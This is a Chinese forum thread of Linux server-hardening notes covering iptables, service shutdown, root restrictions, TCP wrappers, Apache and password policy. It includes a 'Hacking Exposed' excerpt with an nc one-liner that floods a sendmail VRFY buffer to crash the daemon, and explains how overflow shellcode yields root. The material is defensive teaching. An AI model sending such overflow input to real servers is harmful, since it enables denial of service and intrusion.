的完好性应该通过使用严格的防火墙规则来抵御蓄意不良的远程用户而被保护。但是,如果默认策略被设置为阻塞所有进入、输出、和转发的分组,防火墙/网关和内部 LAN 用户之间的通信就无法进行。要允许用户执行和网络相关的功能以及使用联网应用程序,管理员必须打开某些端口进行通信。 例如:要允许到 防火墙上的端口80的通信,添加以下规则: iptables -A INPUT -p tcp -m tcp --sport 80 -j ACCEPTiptables -A OUTPUT -p tcp -m tcp --dport 80 -j ACCEPT 这会允许用户浏览通过端口80通信的网站。要允许到安全网站(如 https://www.example.com/)的访问,你还必须打开端口443。 iptables -A INPUT -p tcp -m tcp --sport 443 -j ACCEPTiptables -A OUTPUT -p tcp -m tcp --dport 443 -j ACCEPT 有时候,你可能会需要从 LAN 之外远程地进入 LAN。SSH 和 CIPE 之类的安全服务可以用于到 LAN 服务的加密远程连接。对于拥有基于 PPP 资源(如调制解调器池或批量 ISP 帐号)的管理员来说,拨号进入可以被用来安全地避开防火墙,因为调制解调器连接是直接连接,通常位于防火墙/网关之后。 然而,对于有宽带连接的远程用户来说,你就需要制定些特殊规定。你可以配置 IPTables 接受来自远程 SSH 和 CIPE 客户的连接。例如,要允许远程 SSH 访问,你可以使用以下规则: iptables -A INPUT -p tcp --dport 22 -j ACCEPTiptables -A OUTPUT -p udp --sport 22 -j ACCEPT来自外部的 CIPE 连接请求可以使用以下命令来接受(把 x 替换成你的设备号码): iptables -A INPUT -p udp -i cipcb x -j ACCEPTiptables -A OUTPUT -p udp -o cipcb x -j ACCEPTCIPE 使用它自己的传输数据报(UDP)分组的虚拟设备,因此这条规则允许 cipcb 接口上的进入连接,而不是规定源地端口或目标端口(虽然它们可以被用来代替设备选项)。关于使用 CIPE 的信息,请参阅 第6章 。 你可能还想为其它服务定义规则。关于 IPTables 及其各类选项的完整信息,请参阅 《红帽企业 Linux 参考指南》。 这些规则允许到 防火墙上的常规及安全服务的访问;然而,它们并不允许防火墙之后的机器使用这些服务。要允许 LAN 使用这些服务,你可以使用带有 IPTables 过滤规则的 NAT。 此帖于 2005-03-13 04:31 AM 被 cnscn 编辑. |
#9 |
关掉不必要的服务
1)用ports、netstat或lso查看哪些端口有监听它们的进程
# netstat -atuvp | more Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name ... -a 即使端口没有和一个在另一个系统上相关的端口连接也会被列出来。这了列出目前没有客户的服务器,这是一个很重要的一点 -t和-u 指明只有TCP和UDP服务应该被列出来 -v 增加了冗长 -p 列出使用每个端口的活跃的程序名称,它需要根用户权限 #ports.exe 1> 它标识出包括用作流行的黑客工具的可疑端口 2> 标识出编号高的正被守护进程使用的端口,一般编号高的端口被客户使用,也可能被黑客插置的特洛伊木马程序使用 2)关掉不必要的服务 1>finger 1>>一个远端的用户可以通过它获得大量有关用户的信息 用户目前登陆的终端,多长时间,是什么系统连接 用户有电子邮件吗,是否还未被读? 他在/etc/passwd中的GECOS入口的内容即注释 他登陆的目录路径 使用的是什么shell finger [email protected] 查看是否有管理员在暗地监视他,而列出所有的登陆用户 finger @373.com 服务fingerd被/etc/inetd.conf中的一个表项所控制 2>关闭rwhod #rpm -e rwho 3>关闭rwalld 4>关闭snmpd snmp简单网络管理协议,它使远程管理变得更容易,snmp使用的udp端口是161 # chkconfig --del snmpd 5>关闭nfs和nfslock 在#ntsysv中去掉nfs和nfslock 停止 /etc/rc.d/init.d/nfs stop /etc/rc.d/init.d/nfslock stop chkconfig --del nfs chkconfig --del nfslock 6>关掉rsh/rcp/rlogin/rexec 7>关掉fdmount 程序fdmount允许软盘组的用户从软盘驱动器(假设set-UID被禁用)安装文件系统。允许软盘组的任何人得到根用户带来的一个缓冲区溢出脆弱之处在2000年5月被弄明白。建议通过下述命令禁用fdmount chmod 0 /usr/bin/fdmount 8>关闭掉Echo和Chargen 9>关闭talk和ntalk/tftp 9> 此帖于 2005-03-13 10:41 PM 被 cnscn 编辑. |
#10 |
检查启动脚本
1)它将显示那些通过守护进程得到支持的服务
1>显示运行等级 #grep initdefault /etc/inittab id:3:initdefault: 2>列出当这个系统出现时被启动的守护进程 (也可以用ntsysv) # ls -F /etc/rc.d/rc3.d/S* 3>审查/etc/inetd.conf 它列出所有inetd(internet超级服务器)监听的端口,然后派生适当的程序来处理请求 对那些没有被大量使用的服务来说,让单个的inetd进程监听许多端口,比起让每个分离进程负责每一个来说,是一个小得多的系统负荷 4>用ps列出进程 ps (process status,进程状态) 可以列出所有正在系统上运行的进程,并识别出守护进程,许多守护进程有以“d”结尾的标识 a 列出所有进程,不仅是那些在调用者终端上的 x 表示即使不与一个终端相关联的进程也应该被列出来,典型情况下,当系统启动时或通过cron调用它们 l 表示长列列出 w 表示宽的,将在130-160列上被截断,而不是在80列上 |
禁止根权限
1)禁止根权限
4.4.2.1. 禁用根 Shell 要防止用户直接登录为根用户,系统管理员可以在 /etc/passwd 文件中把根帐号的 shell 设置为 /sbin/nologin。这会阻止需要 shell 的命令,如 su 和 ssh 等直接进入根帐号。 重要 不需要使用 shell 的程序,如电子邮件客户或 sudo 命令,仍旧能够进入根帐号。 4.4.2.2. 禁用根登录 要进一步限制对根帐号的使用权限,管理员可以通过编辑 /etc/securetty 文件来禁用控制台的根登录。该文件列举了所有根用户被允许登录的设备。如果该文件不存在,根用户就能通过系统上的各类通信设备,不管是控制台还是原始网络接口,来登录。这种情况很危险,因为用户可以以根用户身份使用 Telnet 来登录,在网络中明文传送根口令。按照默认设置,红帽企业 Linux 的 /etc/securetty 文件只允许根用户在和机器物理相连的控制台上登录。要阻止根用户登录,键入以下命令来清除该文件的内容: echo > /etc/securetty 警告 一个空白的 /etc/securetty 文件 不会防止根用户使用 OpenSSH 工具套件来远程登录,因为控制台在验证之前不会被打开。 4.4.2.3. 禁用根的 SSH 登录 要防止根用户通过 SSH 协议登录,编辑 SSH 守护进程的配置文件(/etc/ssh/sshd_config)。把以下一行: # PermitRootLogin yes改成: PermitRootLogin no 4.4.2.4. 使用 PAM 禁用根权限 PAM 通过 /lib/security/pam_listfile.so 模块在拒绝特定帐号方面提供了极大的灵活性。这使管理员能够在不准许登录的用户列表上应用该模块。以下的例子显示了该模块在 /etc/pam.d/vsftpd PAM 配置文件中的 vsftpd FTP 服务器上是如何被使用的(如果指令在一行内,那么就 没必要使用第一行尾的 / 字符): auth required /lib/security/pam_listfile.so item=user /sense=deny file=/etc/vsftpd.ftpusers onerr=succeed这告诉 PAM 参考 /etc/vsftpd.ftpusers 文件,并拒绝其中列举的用户使用该服务。管理员可以随意改变这个文件的名称,并为每个服务保存单独的列表,或使用一个单一列表来拒绝到多个服务的使用权限。 如果管理员想要拒绝到多个服务的使用权限,他也可以在 PAM 配置服务(如 /etc/pam.d/pop 和用于邮件服务的 /etc/pam.d/imap、或用于 SSH 客户的 /etc/pam.d/ssh)中添加相似的一行。 关于 PAM 的详情,请参阅 《红帽企业 Linux 参考指南》的“ 可插入验证模块(PAM)”这一章。 4.4.3. 限制根存取权限 与其完全否定对根帐号的使用,管理员可能只想通过 setuid 程序如 su 或 sudo 等来允许对其的使用。 4.4.3.1. su 命令 键入 su 命令后,用户会被提示输入根口令,经验证后,他就会得到一个根 shell 提示。 通过 su 命令登录后,用户 就成为根用户,并且对系统有绝对的管理权。此外,一旦用户成为根用户,他还可以使用 su 命令来变成系统上的另一个用户而不必输入口令。 因为该程序非常强大,机构内的管理员可能想限制能够使用这个命令的人员。 最简单的方法是把用户添加到一个叫做 wheel 的特殊管理组群。要这么做,以根用户身份键入以下命令: usermod -G wheel 下一步,在文本编辑器中打开 su(/etc/pam.d/su)的 PAM 配置文件,删除以下行的注释符号 [#]: auth required /lib/security/pam_wheel.so use_uid这么做会只允许管理性组群 wheel 使用该程序。 注记 根用户是默认的 wheel 组群成员。 4.4.3.2. sudo 命令 sudo 命令提供了另一种授予用户管理权限的方法。当可信任的用户在管理命令前加一个 sudo 命令,这个用户就会被提示输入 他自己的口令。验证后,假定这个命令被准许执行,它就会以根用户身份执行。 sudo 命令的基本格式如下: sudo 重要 sudo 命令的用户应该在离开他们的机器前特别留意一下自己是否已经退出,因为这些用户可以在五分钟之内再次使用这个命令而不必输入口令。该设置可以通过修改配置文件 /etc/sudoers 来改变。 sudo 命令提供了高度的灵活性。例如,只有列举在 /etc/sudoers 配置文件中的用户被允许使用 sudo 命令,并且命令是在 用户的而不是根的 shell 中被执行。这意味着根 shell 可以被完全禁用,如 第 4.4.2.1 节所示。 sudo 命令还提供了完整的审核渠道。每次成功的验证都被记录在 /var/log/messages 文件中,所使用的命令以及使用者的用户名被记录在/var/log/secure 文件中。 sudo 命令的另一个优越性是,管理员可以根据需要给不同的用户以不同的命令使用权限。 想编辑 sudo 配置文件 /etc/sudoers 的管理员应该使用 visudo 命令。 要给某人以完全的管理权限,键入 visudo,然后在用户特权规定部分添加和以下相似的一行: juan ALL=(ALL) ALL这个例子表明,用户 juan 可以在任何主机上使用 sudo 来执行任何命令。 以下的例子显示了 sudo 配置方面的可伸缩性: %users localhost=/sbin/shutdown -h now这个例子表明,只要是从控制台使用,任何用户都可以使用 /sbin/shutdown -h now 命令。 sudoers 的说明书页中有一个该文件选项的详细列表。 |
tcp wrappers
5.1. 使用 TCP 会绕程序和 xinetd 来维护服务安全
TCP 会绕程序( TCP wrappers)为多项服务提供访问控制。多数现代的网络服务,如 SSH、Telnet 和 FTP,都使用 TCP 会绕程序。该会绕程序位于进入请求和被请求服务之间。 当与 xinetd 一起使用时,TCP 会绕程序的优越性就更为显著。xinetd 是一种提供附加的访问、记录、关联、重导向、和资源利用控制的超级服务。 窍门 使用 TCP 会绕程序、xinetd、以及 IPTables 防火墙来创建服务访问控制的冗余性是一个好主意。关于使用 IPTables 命令来实现防火墙的详细信息,请参阅 第7章 。 有关配置 TCP 会绕程序和 xinetd 的更多信息可以在 《红帽企业 Linux 参考指南》的“ TCP 会绕程序和 xinetd”这一章中找到。 以下各小节假定你已掌握了各个课题的基础知识,因此只集中讨论特定的安全选项。 5.1.1. 使用 TCP 会绕程序来强化安全 TCP 会绕程序的能力不仅局限于拒绝对服务的访问。本节会向您解释如何使用它来发送连接横幅、警告来自特定主机的攻击、以及如何使用它来增强记录功能。要获得 TCP 会绕程序功能的完整列表,请参阅 hosts_options 的说明书页。 5.1.1.1. TCP 会绕程序和连接横幅 给连接服务的客户发送一幅警戒性横幅是掩盖运行服务的系统的好办法,同时,它也让潜在的攻击者知道系统管理员是相当警惕的。要为某服务实现 TCP 会绕程序横幅,请使用 banner 选项。 这个例子为 vsftpd 实现了一个横幅。首先,创建一个横幅文件。它可以位于系统上的任何地方,但是它的名称必须和守护进程相同。在这个例子中,该文件叫做 /etc/banners/vsftpd。 该文件的内容如下所示: 220-Hello, %c220-All activity on ftp.example.com is logged.220-Act up and you will be banned.%c 代符提供了各类客户信息,如用户名和主机名,或用户名和 IP 地址,从而使连接更令人生畏。 《红帽企业 Linux 参考指南》 中列举了用于 TCP 会绕程序的其它代符。 要把这个横幅展示给每个进入连接,把以下行添加到 /etc/hosts.allow 文件中: vsftpd : ALL : banners /etc/banners/ 5.1.1.2. TCP 会绕程序和攻击警告 如果某个主机或网络被发现正在攻击服务器,TCP 会绕程序可以通过 spawn 指令对来自该主机或网络的后续攻击向管理员发出警告。 在这个例子中,假定某个来自 206.182.68.0/24 网络的怪客被发现正在试图攻击服务器。如果把以下行添加到 /etc/hosts.deny 文件中,连接企图就会被拒绝并记录在一个特殊的文件中。 ALL : 206.182.68.0 : spawn /bin/ 'date' %c %d >> /var/log/intruder_alert%d 代符提供攻击者其它访问的服务名称。 要运行连接并记录日志,把 spawn 指令放在 /etc/hosts.allow 文件中。 注记 因为 spawn 指令执行任何 shell 命令,你可以创建一个脚本,该脚本会在某个特定客户企图连接服务器的时候通知管理员或执行一系列命令。 5.1.1.3. TCP 会绕程序和强化记录 如果某类连接比其它连接更值得关注,你可以通过 severity 选项来提高该类服务的记录级别。 在这个例子中,假定每个企图连接 FTP 服务器的端口23(Telnet 端口)的 客户都是怪客。在日志文件中放置一个 emerg 标记而不是默认的 info 标记来否定连接。 要达到这个目的,把以下行放在 /etc/hosts.deny 文件中: in.telnetd : ALL : severity emerg它使用默认的 authpriv 记录设施,但是把优先级别从默认的 info 提高到 emerg,这会把日志消息直接显示在控制台上。 5.1.2. 使用 xinetd 来增强安全性 xinetd 超级服务器是另一个用来控制到其从属服务访问的有用工具。本节集中讨论如何使用 xinetd 来设置陷阱服务,以及如何使用它来控制任何给定 xinetd 服务可以使用的资源数量,从而阻挠拒绝服务攻击。要阅读更全面的可用选项列表,请参考 xinetd 和 xinetd.conf 的说明书页。 5.1.2.1. 设置陷阱 xinetd 的一个重要功能是把主机添加到全局 no_access 列表的能力。在这个列表上的主机到被 xinetd 管理的服务的后续连接都会被拒绝一段时间,直到 xinetd 被重新启动为止。这是通过使用 SENSOR 属性来实现的。该技术是阻塞试图扫描服务器端口的主机的简单方法。 设置 SENSOR 的第一个步骤是选择你不打算使用的服务。以下以 Telnet 为例进行说明。 编辑 /etc/xinetd.d/telnet 文件,把含有 flags 的行改成: flags = SENSOR在括号内添加以下行: deny_time = 30这会拒绝试图连接到端口的主机在今后30分钟内的所有连接。deny_time 属性还有一个可接受的值是 FOREVER,它会使该禁令在 xinetd 被重新启动前保持有效;NEVER 则会允许连接并且记录它。 最后,最后一行应该是: disable = no虽然使用 SENSOR 是检测和阻止恶意主机的好办法。它有两个缺点:
xinetd 的另一个重要功能是它能够控制从属服务可以利用的资源量。 它通过以下指令来达到这个目的:
|
#13 |
保护 Portmap 的安全性
5.2. 保护 Portmap 的安全性
portmap 服务是用于 RPC 服务(如 NIS 和 NFS)的动态端口分配守护进程。它的验证机制比较薄弱,而且具备为它所控制的服务分配大范围端口的能力。由于这些原因,要保护它的安全比较困难。 如果运行 RPC 服务,请遵守以下基本规则。 5.2.1. 使用 TCP 会绕程序来保护 portmap。 使用 TCP 会绕程序来限制可以使用 portmap 服务的网络或主机这一点很重要,因为 portmap 没有内建的验证方式。 更进一步,在限制对服务的使用时, 只使用 IP 地址。避免使用主机名,因为主机名可以通过 DNS 污染或其它方法被伪造。 5.2.2. 使用 IPTables 来保护 portmap 要进一步限制对 portmap 服务的使用,在服务器上添加 IPTables 规则来限制到指定网络的进出是一个好办法。 以下是两个 IPTables 命令的例子,允许网络 192.168.0/24TCP 和 localhost( Nautilus 程序使用的 sgi_fam 服务所必需的)到 portmap 服务(监听端口111)的连接。所有其它分组都被放弃。 iptables -A INPUT -p tcp -s! 192.168.0.0/24 --dport 111 -j DROPiptables -A INPUT -p tcp -s 127.0.0.1 --dport 111 -j ACCEPT要以相似的方法限制 UDP 交通,使用以下命令。 iptables -A INPUT -p udp -s! 192.168.0.0/24 --dport 111 -j DROP |
保护apache 的安全
5.5. 保护 Apache HTTP 服务器的安全
Apache HTTP 服务器是红帽企业 Linux 包括的最稳定和最安全的服务之一。保护 Apache HTTP 服务器安全的方法和技术多得数不胜数 — 在这里我们无法逐一详述。 在配置 Apache HTTP 服务器时阅读它的文档是很重要的。这些文档包括: 《红帽企业 Linux 参考指南》的“ Apache HTTP 服务器”这一章; 《红帽企业 Linux 系统管理指南》的“ Apache HTTP 服务器 配置”这一章;以及在 http://www.redhat.com/docs/manuals/stronghold/ 上的原有手册。 以下是管理员应该小心使用的配置选项列表。 ·修改/etc/httpd/conf.d/welcome.conf,并注释掉所有默认内容 [root@192 conf.d]# cat welcome.conf # # This configuration file enables the default "Welcome" # page if there is no default index page present for # the root URL. To disable the Welcome page, comment # out all the lines below. # # # Options -Indexes # ErrorDocument 403 /error/noindex.html # ·FollowSymLinks 该指令被默认启用,在创建到万维网服务器的文档根的符号链接时请小心。例如,提供一个到 / 的符号链接就不是个好主意。 · Indexes 指令 该指令被默认启用,但它可能不应该被启用。要阻止访问者浏览服务器上的文件,你可以删除该指令。 ·UserDir 指令 UserDir 指令被默认禁用,因为它可以确认某个用户帐号在系统上是否存在。 要启用服务器上的用户目录浏览,请使用以下指令: UserDir enabled UserDir disabled root这些指令为除了 /root/ 以外的所有用户目录激活浏览。 要把用户添加到禁用帐号列表中,在 UserDir disabled 行中添加一个用空格隔开的用户列表。 ·不要删除 IncludesNoExec 指令 按照默认设置,服务器端包括(server-side includes)模块不能执行命令。除非在极端必要的情况下,建议你不要改变这个设置,因为它有可能会使攻击者能够在系统上执行命令。 · 限制对可执行目录的权限 对于任何包含脚本或 CGI 的目录,请确定只给根用户以写权限。这可以通过键入以下命令来达到: chown root chmod 755 还有,总是在把脚本放入生产环境 之前校验它们在系统上的运行情况符合你的设想。 ·报错提示文档 Options FollowSymLinks #去掉了Options Index FollowSymLinks中的 Index ErrorDocument 400 "BAD_REQUEST" ErrorDocument 401 "UNAUTHORIZED" ErrorDocument 403 "You don't have permission to access / on this server." ErrorDocument 404 "The requested URL /a.php was not found on this server." ErrorDocument 405 "METHOD_NOT_ALLOWED" ErrorDocument 408 "REQUEST_TIME_OUT" ErrorDocument 410 "GONE" ErrorDocument 411 "LENGTH_REQUIRED" ErrorDocument 412 "PRECONDITION_FAILED" ErrorDocument 413 "REQUEST_ENTITY_TOO_LARGE" ErrorDocument 414 "REQUEST_URI_TOO_LARGE" ErrorDocument 415 "UNSUPPORTED_MEDIA_TYPE" ErrorDocument 500 "INTERNAL_SERVER_ERROR" ErrorDocument 501 "NOT_IMPLEMENTED" ErrorDocument 502 "BAD_GATEWAY" ErrorDocument 503 "SERVICE_UNAVAILABLE" ErrorDocument 506 "VARIANT_ALSO_VARIES" ==================================================== 此帖于 2006-04-09 09:28 AM 被 cnscn 编辑. |
黑客大曝光
·远程访问
一)远程绕过UNIX系统的安全方法 1)发掘某个鉴听中服务(建立在TCP/UDP之上)的漏洞 如果一个系统不存在与用户交互的任何服务(如telnet/ ftp / rlogin / ssh),这样应如何登陆这个系统呢,这样你不得不某个监听中服务(如wuftp)的漏洞以获取访问权。需注意的是,要获取访问权必须有服务在监听,否则是不可能进行远程入侵的 2)经由一个在两个或多个网络之间提供安全屏障的UNIX系统路由 这就是攻击者绕过作为防火墙的UNIX系统, 既然不允许任何外来的服务访问,又如何能够做到这一点呢,许多情况下,攻击者使用经由防火墙到达内部系统的源路由分组来绕过UNIX防火墙,这种绝技之所以可行是因为当防火墙应用程序需发挥其作用时,其UNIX内核必须打开IP转发属性,在大多数例子中,攻击者实质上几乎没有真正入侵防火墙本身,他们只是把它用作一个路由而已 3)由用户发起的远程执行攻击(如访问恶意的Web网站,打开特洛伊木马电子邮件等) 当禁止了自己UNIX系统上的所有服务,你能说自己的服务器就安全了吗。未必,如果你浏览到 http://www.evilhacker.org时,使得自己的web浏览执行连接回该邪恶网站的恶意代码,那么这种代码可能允许evilhacker.org访问你的系统,以root特权登录作用系统期间进行网上冲浪时,这意味着什么值得深思 如果你对施行远程攻击的可能性表示怀疑,就问自己以下三个问题: 1)有监听中的服务涉入吗 2)目标系统在执行路由功能吗 3)有用户或其所用软件执行了危及主机系统安全的命令吗 二)蛮力攻击 蛮力攻击就是蛮力密码猜测,即猜测用户名和密码的组合,最常见蛮力攻击对象服务类型包括Telnet、ftp、rlogin、rsh、ssh、pop、http、https Joe帐号:即所谓用户ID和密码相同的情况 [对策] 1)确保用户有一个有效密码 2)对于特权帐号强制每30天更换一次密码,对于普通用户则每60天更换一次密码 3)密码最小长度应大于6 4)对多次认证失败进行记录 5)三次无效登陆尝试则断掉连接 6)尽可能实现帐号锁闭(小心攻击者故意锁闭帐号导致的拒绝服务) 7)关闭不使用的服务 8)施用防止用户选择糟糕的密码构造工具 9)不要给自己可登陆的每个系统使用相同的密码 10)不要笔记自己的密码 11)不要告诉别人自己的密码 12)可能的话使用一次性密码机制 三)数据驱动攻击 我们来讨论数据驱动攻击----获取远程访问权上的既成事实标准(data driven attack),数据驱动攻击通过向某个活动中的服务发送将导致非预期结果的来执行。当然“非预期结果”的说法是主观的,信赖于主体攻击者还是相应服务的编程人员。从攻击者来说,结果是的所希望的,因为他们给出了访问目标系统的许可权。从编程人员来说,那是他们的程序收到了未曾料到的将导致非预期结果的输入数据,数据驱动攻击分为缓冲溢出攻击(buffer overflow attack)和输入验证攻击(input validation attack) 1)缓冲区溢出攻击 计算机界安全的前景在1996年11月发生了历史性转变,Bugtraq邮递清单的仲裁者Aleph One给安全杂志Prack Magazine写了题目为“Smashing The Stack For Fun And Profit”的文章。它清楚地阐明了糟糕的编程行为在缓冲溢出攻击下可能如何危及安全。缓冲溢出攻击可追溯到1988年著名的Robert Morris蠕虫事件 缓冲区溢出条件(buffer overflow condition)发生在某个用户或进程试图向一个缓冲区(即固定长度的数组)中放置比原初分配的空间还要多的数据的时候,这种行为与特定的C函数如strcp()、strcat()、sprintf()等等相关。 缓冲溢出往往可导致段越界异常的发生,然而这类行为可精心的利用,达到访问目标系统的目的,尽管我们讨论的是远程缓冲区溢出攻击,缓冲溢出条件在本地系统上也同样发生 我们有一个长度固定为128字节的缓冲区,假设该缓冲区定义可作为存放sendmail的VRFY命令的输入的数据量,我们曾使用VRFY来帮助标识目标系统上的潜在用户,办法是尝试验证他们的电子邮件地址。再假设sendmail将用户ID(SUID)设为root的程序,从而不论谁执行都以root特权执行,这种假设对于现行系统可能成立也可能不成立。如果攻击者连接到目标系统的sendmail守护进程后给VRFY命令发送了一块由1000上字母a构成的数据,而不是一个简短的用户名,情况会是什样呢? echo "vrfy `perl -e 'print "a" x 1000 '`" | nc www.targetsystem.com 25 VRFY缓冲将溢出,因为它只设计成容纳128个字节,往VRFY缓冲区中塞1000个字节可能导致拒绝服务和sendmail守护进程的崩溃 然而经由精心设计成让目标系统执行攻击者待定的代码将更加危险。这恰是成功的攻击的工作机理 代之以给VRFY命令发送1000个字母a,攻击者可以发送将溢出其缓冲区并执行命令/bin/sh的特定代码,既然sendmail是做为root运行的,因此当执行/bin/sh时,攻击者即具备的root访问权,你可能对于sendmail如何知道攻击者想要执行/bin/sh存在疑惑,其过程并不复杂,当执行攻击时,所“蛋egg”的特殊汇编代码被做为用作溢出缓冲区的实际字符串的一部分发送给VRFY命令,当VRFY缓冲溢出时,攻击者可随之设置将导致问题的函数的返回地址,以允许攻击者改变程序的执行流。取代该函数返回其正确的内存位置这一动作的是,攻击者执行作为缓冲区溢出数据的一部分发送的恶意汇编代码,该代码将以root特权运行/bin/sh 必须注意,汇编代码是与体系结构和操作系统相关的,Solaris X86的缓冲溢出与Solaris SPARC完全不同。 [对策] 一)加强编程行为的安全性 1)程序一开始就想到安全性 2)考虑使用安全的编译器 从系统侧截获对脆弱函数的调用 3)当从用户或其他程序接收输入时,要验证参数的有效性。这种验证包括对每个变量的边界检查,特别是环境变量 4)使用fget() strncpy() strncat()之类的例程,并检查每个系统调用的返回值 5)最大程度减少使用SUID到root的程序,这样即使攻击者成功地执行了缓冲区溢出攻击,他们也不得不继续把自己的特权升级到root 6)最重要的是应用所有相关的由厂家提供的补丁 二)测试并审计每个程序 三)禁止不用的或危险的服务 四)禁止堆栈执行 某些纯正?Y者可能对禁止堆栈执行不屑一顾,偏爱确保每个程序都不存在缓冲区溢出,但禁止堆栈执行并没有多少副作用,而且能够保护许多系统免遭这种篇一律的漏洞发掘 此帖于 2005-05-01 08:22 AM 被 cnscn 编辑. |
只允许部分IP登陆ssh
默认的,Redhat 等Linux允许所有的请求,这是很危险的。
如果用TCP_WRAPPERS来增强我们站点的安全性简直是举手之劳, 1)你可以将禁止所有的请求放入“ALL :ALL ”到/etc/hosts.deny 中, 2)然后放那些明确允许的请求到/etc/hosts.allow中, 3)如:sshd: 192.168.1.10/255.255.255.0 www.test.com 对IP地址192.168.1.10和主机名 www.test.com ,允许通过ssh 连接。 4)配置完后,用tcpdchk 检查,你可以直接执行:tcpdchk。tcpchk是TCP_Wrapper配置检查工具,它检查你的tcp wrapper 配置并报告所有发现的潜在/ 存在的问题 |
禁止不用的帐户登陆
如lp, sync, shutdown, halt, news, uucp, operator, games, gopher等
|
设置最短密码长度
修改密码长度:设置为不少于8位的。 修改最短密码长度需要编辑login.defs文件(vi /etc/login.defs),把下面这行 PASS_MIN_LEN 5 (默认的情况) 改为 PASS_MIN_LEN 8 (修改后的情况) login.defs文件是login程序的配置文件。 |
Shell命令记录.bash_history删除
Bash shell在“~/.bash_history”(“~/”表示用户目录)文件中保存了500条使用过的命令,这样可以使你输入使用过的长命令变得容易。每个在系统中拥有账号的用户在他的目录下都有一个“.bash_history”文件。
bash shell应该保存少量的命令,并且在每次用户注销时都把这些历史命令删除。 第一步: “/etc/profile”文件中的“HISTFILESIZE”和“HISTSIZE”行确定所有用户的“.bash_history”文件中可以保存的旧命令条数。强烈建议把把“/etc/profile”文件中的“HISTFILESIZE”和“HISTSIZE”行的值设为一个较小的数,比如30。编辑profile文件(vi /etc/profile),把下面这行改为: HISTFILESIZE=30 HISTSIZE=30 这表示每个用户的“.bash_history”文件只可以保存30条旧命令。 第二步: 网管还应该在"/etc/skel/.bash_logout" 文件中添加下面这行"rm -f $HOME/.bash_history" 。这样,当用户每次注销时,“.bash_history”文件都会被删除. |
web日志分析
webalizer是一个高效的、免费的web服务器日志分析程序。其分析结果以HTML文件格式保存,从而可以很方便的通过web服务器进行浏览。Internet上的很多站点都使用webalizer进行web服务器日志分析。Webalizer具有以下一些特性:
1. 为是用C写的程序,所以其具有很高的运行效率。在主频为200Mhz的机器上,webalizer每秒钟可以分析10000条记录,所以分析一个40M大小的日志文件只需要15秒。 2. webalizer支持标准的一般日志文件格式(Common Logfile Format);除此之外,也支持几种组合日志格式(Combined Logfile Format)的变种,从而可以统计客户情况以及客户操作系统类型。并且现在webalizer已经可以支持wu-ftpd xferlog日志格式以及squid日志文件格式了。 3. 支持命令行配置以及配置文件。 4. 可以支持多种语言,也可以自己进行本地化工作。 5. 支持多种平台,比如UNIX、linux、NT, OS/2 和 MacOS等。 安装: 1.从webalizer的官方站点 http://www.mrunix.net/webalizer/下载,尽量获得当前的最新版本。 2.首先解开源代码包:tar xvzf 下在到的.tgz包 3.在生成的目录中有个lang目录,该目录中保存了各种语言文件,如果没有中文支持,可以考虑自己重新翻译一下。 4.然后进入生成的目录: ./configure make --with-language=Chinese (如果有简体中文支持的话) 5.编译成功后,会产生一个webalizer可执行文件,可以将其拷贝到/usr/sbin/目录下: cp webalizer /usr/sbin/ 然后就可以开始配置webalizer了。 配置: 上面说过,可以通过命令行配置webalizer,也可以通过配置文件进行配置,在本文中我们将介绍使用命令行参数进行配置,需要了解配置文件使用方法可以参考README文件,里面有很详细的介绍。 可以执行webalizer –h得到所有命令行参数: Usage: webalizer [options] [log file] -h = 打印帮助信息 -v -V = 打印版本信息 -d = 打印附加调试信息 -F type = 日志格式类型. type= (clf | ftp | squid) -i = 忽略历史文件 -p = 保留状态 (递增模式) -q = 忽略消息信息 -Q = 忽略所有信息 -Y = 忽略国家图形 -G = 忽略小时统计图形 -H = 忽略小时统计信息 -L = 忽略彩色图例 -l num = 在图形中使用数字背景线 -m num = 访问超时 (seconds) -T = 打印时间信息 -c file = 指定配置文件 -n name = 使用的主机名 -o dir = 结果输出目录 -t name = 指定报告题目上的主机名 -a name = 隐藏用户代理名称 -r name = 隐藏访问链接 -s name = 隐藏客户 -u name = 隐藏URL -x name = 使用文件扩展名 -P name = 页面类型扩展名 -I name = index别名 -A num = 显示前几名客户类型 -C num = 显示前几名国家 -R num = 显示前几名链接 -S num = 显示前几名客户 -U num = 显示前几名URLs -e num = 显示前几名访问页面 -E num = 显示前几名不存在的页面 -X = 隐藏个别用户 -D name = 使用dns缓存文件 -N num = DNS 进程数 (0=禁用dns) 假设,web服务器主机名为 www.test.com,统计站点域名为 www.test.com, 访问日志为/var/log/httpd/access_log, 我们将webalizer分析结果输出到/var/www/html/log下面。则我们可以建立以下脚本/etc/rc.d/webalizer: #!/bin/sh run=/usr/sbin/webalizer $run -F clf -p -n " " -t " www.test.com" -o /var/www/html/log /var/log/httpd/access_log 说明: -F clf 指明我们的web日志格式为标准的一般日志文件格式(Common Logfile Format) -p 指定使用递增模式,这就是说每作一次分析后,webalizer会生产一个历史文件,这样下一次分析时就可以不分析已经处理过的部分。这样我们就可以在短时间内转换我们的日志文件,而不用担心访问量太大时日志文件无限增大了。 -n “ “ 指定服务器主机名为空,这样输出结果会美观一些。 -o “ www.test.com” 指定输出结果标题. /var/log/httpd/access_log:指定日志文件 然后在/etc/crontab中加入: 01 1 * * * root /etc/rc.d/webalizer 即每天凌晨1点执行该脚本。 然后运行/etc/rc.d/init.d/crond reload重载入crond服务。 测试: 执行以下命令: # /etc/rc.d/webalizer 然后在浏览器中访问 http://www.test.com/log/就可以看到webalizer的分析结果了 |
#21 |
RPC守护进程错误使用
对Unix威胁最大可以说就是rpc上面的漏洞,远程过程调用(Remote Procedure Call)允许一台计算机上的程序去执行另一台计算机上的程序。它们广泛的应用在各种网络服务中,如文件共享服务NFS。有很多漏洞是RPC本身的缺陷导致的,它们正不停的涌现出来。有很明显的证据表明,1999年末2000年初大规模的分布式拒绝服务攻击中,很多被作为攻击跳板的牺牲品就是因为存在RPC漏洞。在Solar Sunrise事件期间,对美国陆军广为人知的成功攻击就是因为在数百台国防部的系统中找到了一个RPC漏洞。
|
BIND的漏洞
·BIND程序存在的漏洞,得用nxt, qinv, in.named可以真接得到root权限
BIND(Berkeley Internet Name Domain)软件包是域名服务(DNS)的一个应用最广泛的实现软件--我们所有人都通过它来定位Internet上的系统,只需知道域名(如www.cnns.net)而不用知道IP地址,由此可体会它的重要性--这使它成为最受欢迎的攻击目标。 |
ff.core缓冲溢出
ff.core存在缓冲溢出漏洞,一个普通用户只要执行一个简单的脚本,就可以令缓冲区溢出从而得到一个root shell
|
solaris安全设置---PROM OpenBoot和物理安全
·PROM OpenBoot和物理安全
